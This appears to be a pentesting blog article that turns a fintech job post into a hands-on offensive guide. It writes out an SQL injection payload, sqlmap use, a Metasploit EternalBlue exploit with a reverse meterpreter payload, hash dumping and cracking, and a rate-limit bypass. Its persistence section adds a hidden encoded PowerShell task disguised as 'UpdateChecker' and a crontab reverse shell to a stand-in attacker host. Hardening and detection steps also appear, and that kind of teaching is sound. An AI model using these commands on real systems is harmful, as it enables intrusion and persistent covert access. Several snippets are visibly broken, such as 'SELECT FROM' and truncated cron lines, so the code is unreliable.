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Introduction:
The demand for mid‑level penetration testers in banking and fintech has exploded, with job posts like the one from Telecom Egypt’s Resilience team highlighting hands‑on skills in web APIs, red teaming, and OWASP Top 10. However, relying on a single hire often misses the bigger picture: structured methodologies, peer‑reviewed findings, and automated validation are what truly secure modern cloud and network infrastructures. This article transforms that job description into a step‑by‑step technical guide – including verified Linux/Windows commands, tool configurations, and cloud hardening tactics that every offensive security professional must master.
Learning Objectives:
- Execute a full penetration testing lifecycle on web apps, APIs, and cloud environments using Burp Suite, Nmap, and Metasploit.
- Automate vulnerability discovery and post‑exploitation with Python/Bash scripts.
- Harden AWS/Azure cloud assets against real‑world red team techniques and comply with fintech security standards.
You Should Know:
- Web & API Penetration Testing Using Burp Suite and SQLMap
This section covers manual and automated testing of OWASP Top 10 flaws (A1–A10) in REST/GraphQL APIs. Below is a step‑by‑step guide to intercept, manipulate, and exploit API requests.
Step‑by‑step guide:
- Proxy setup – Configure Burp Suite to intercept traffic from your browser or Postman (listen on
127.0.0.1:8080). Install Burp’s CA certificate to decrypt HTTPS. - API discovery – Use Burp’s Target → Site map to identify endpoints. For GraphQL, run
graphql-detector:git clone https://github.com/doyensec/graphql-detect python3 graphql-detect.py -u https://target.com/graphql
- Parameter fuzzing – Send a typical API request to Burp Intruder. Use payload lists for IDOR (e.g., `userId=1` →
2,3). Also inject SQL payloads:GET /api/user?id=1' OR '1'='1'--
- Automated SQLi with SQLMap – Capture a request from Burp (right‑click → Copy as curl command). Then run:
sqlmap -r request.txt --batch --level=3 --risk=2 --dbs
- API rate limiting bypass – Use Burp Turbo Intruder with a Python script to rotate headers:
def queueRequests(target, wordlists): for i in range(100): req = target.GET('/api/otp') req.header = {'X-Forwarded-For': f'192.168.1.{i}'} target.queue(req) - Windows alternative – Use `Invoke-WebRequest` with SQLMap via WSL or Postman’s built‑in proxy to Burp.
-
Network Enumeration and Red Teaming with Nmap & Metasploit
Network discovery is the first step in any red team exercise. Combine Nmap for stealth scanning and Metasploit for post‑exploitation.
Step‑by‑step guide:
1. Stealth SYN scan (Linux/Mac):
sudo nmap -sS -Pn -T4 -p- --min-rate 1000 -oA scan_target 192.168.1.0/24
2. Service version & OS detection:
nmap -sV -sC -O -p 22,80,443,3306 192.168.1.10
3. Windows equivalent – Use `Test-NetConnection` with custom port ranges:
foreach ($port in 1..1024) { Test-NetConnection 192.168.1.10 -Port $port -InformationLevel Quiet }
For deeper scans, install Nmap for Windows from https://nmap.org/download.html.
4. Metasploit – exploit a discovered SMB vulnerability (e.g., EternalBlue):
msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST your_ip exploit
5. Post‑exploitation – dump hashes:
hashdump
Then crack with John the Ripper:
john --format=nt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
3. Cloud Hardening for Fintech (AWS/Azure)
Fintech environments require cloud‑specific pentesting. Use these CLI commands to identify misconfigurations – and then harden them.
Step‑by‑step guide for AWS:
- Recon with AWS CLI (install and configure
aws cli):aws s3 ls --profile target aws ec2 describe-security-groups --profile target
2. Find open S3 buckets:
aws s3api list-buckets --query "Buckets[?contains(Name, 'backup')].Name" --profile target aws s3 ls s3://vulnerable-bucket/ --no-sign-request
3. Hardening – block public ACLs:
aws s3api put-public-access-block --bucket vulnerable-bucket --public-access-block-configuration "BlockPublicAcls=true,IgnorePublicAcls=true"
4. Azure – check network security group rules (Azure CLI):
az network nsg rule list --nsg-name finance-nsg --resource-group fintech-rg --output table
5. Close overly permissive RDP/SSH (Windows admin):
Use Azure Portal or CLI az network nsg rule update --nsg-name finance-nsg --resource-group fintech-rg --name RDP-rule --access Deny
- Red Team Simulation: Persistence via Scheduled Tasks (Windows/Linux)
Once you gain initial access, maintain persistence – a key red team objective.
Windows persistence (PowerShell) – reverse shell every hour:
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -NonI -W Hidden -Exec Bypass -Enc JABjAGwAaQBlAG4AdAA..." $Trigger = New-ScheduledTaskTrigger -Daily -At 0am -RepetitionInterval (New-TimeSpan -Hours 1) Register-ScheduledTask -TaskName "UpdateChecker" -Action $Action -Trigger $Trigger -User "SYSTEM"
Linux persistence – crontab reverse shell:
(crontab -l 2>/dev/null; echo "0 /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'") | crontab -
How to detect & remove:
- Windows: `schtasks /query /tn UpdateChecker` → `schtasks /delete /tn UpdateChecker /f`
- Linux: `crontab -l` → `crontab -e` delete the line.
5. Automating Pentesting with Python & Bash Scripts
Scripting is listed as a “plus” in the job post – here’s how to automate vulnerability checks.
Bash script – quick port checker:
!/bin/bash
host=$1
for port in {1..1024}; do
timeout 1 bash -c "echo >/dev/tcp/$host/$port" 2>/dev/null && echo "Port $port open"
done
Python script – check for missing security headers:
import requests
url = "https://target.com/api/v1"
headers = {'X-Forwarded-For': '127.0.0.1' }
resp = requests.get(url, headers=headers)
required = ["Strict-Transport-Security", "Content-Security-Policy", "X-Frame-Options"]
for h in required:
if h not in resp.headers:
print(f"Missing {h}")
Integrate with CI/CD – Use GitHub Actions to run nmap daily against your staging environment:
name: Daily Security Scan on: schedule: - cron: '0 2 ' jobs: scan: runs-on: ubuntu-latest steps: - run: nmap -sV staging.company.com
- Remediation & Reporting for Compliance (PCI-DSS, ISO 27001)
Finding vulnerabilities is half the battle; delivering actionable reports is what hiring managers and external services (like CybEthic) value.
Step‑by‑step report structure:
- Executive summary – risk rating, number of critical issues, compliance impact (e.g., PCI DSS requirement 11.3 for penetration testing).
- Technical findings – each finding includes: vulnerability name, CVSS score, affected asset, proof of concept (screenshot + curl command), and remediation.
- Remediation commands – example for a MySQL injection:
-- Vulnerable code: $query = "SELECT FROM users WHERE id = '" . $_GET['id'] . "'"; -- Fix: Use parameterized queries $stmt = $conn->prepare("SELECT FROM users WHERE id = ?"); $stmt->bind_param("i", $id)
4. Windows remediation – disable insecure SMB versions:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 0 -Force
5. Validate fix – re‑run your SQLMap or Nmap command from section 1 and 2.
What Undercode Say:
- Key Takeaway 1: A mid‑level penetration tester must go beyond automated tools – mastering Burp Suite’s manual testing, Nmap’s scripting engine, and Metasploit’s post‑exploitation modules is non‑negotiable for fintech roles.
- Key Takeaway 2: Cloud hardening (AWS/Azure) is now part of every red team engagement. Understanding S3 bucket policies and NSG rules is as critical as OWASP Top 10.
- Analysis: The job post’s emphasis on “real‑world offensive security engagements” reflects a market shift toward continuous validation. One‑time pentests are being replaced by red team + blue team collaboration. Additionally, the comment from CybEthic highlights a growing trend: many organizations prefer outsourced, team‑based penetration testing over single hires – reducing bias and increasing peer validation. However, for professionals, this means you must demonstrate both technical depth and the ability to produce compliance‑ready reports. The inclusion of Python/Bash as a “plus” is actually a hard requirement in 2026 – automation separates junior from mid‑level. Finally, note that the job offers “learning & certification support” – prioritize OSCP, GPEN, or PNPT to stand out.
Prediction:
By 2027, AI‑powered penetration testing assistants will automate 60% of routine scanning and reporting, shifting human testers to advanced exploit development and API business‑logic flaws. However, the core skills – network enumeration, manual web testing, cloud misconfiguration detection – will remain irreplaceable. The rise of “resilience teams” (as named in the job post) will merge red and purple teaming, requiring testers to also write detection rules (e.g., Sigma for SIEM). Fintechs will mandate continuous red teaming via bug bounty platforms, making SQLMap and Burp Suite’s automation features even more critical. If you are targeting such roles, start contributing to open‑source security tools – it builds the exact “hands‑on” portfolio that hiring managers scan first.
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Reported By: Amir El – Hackers Feeds
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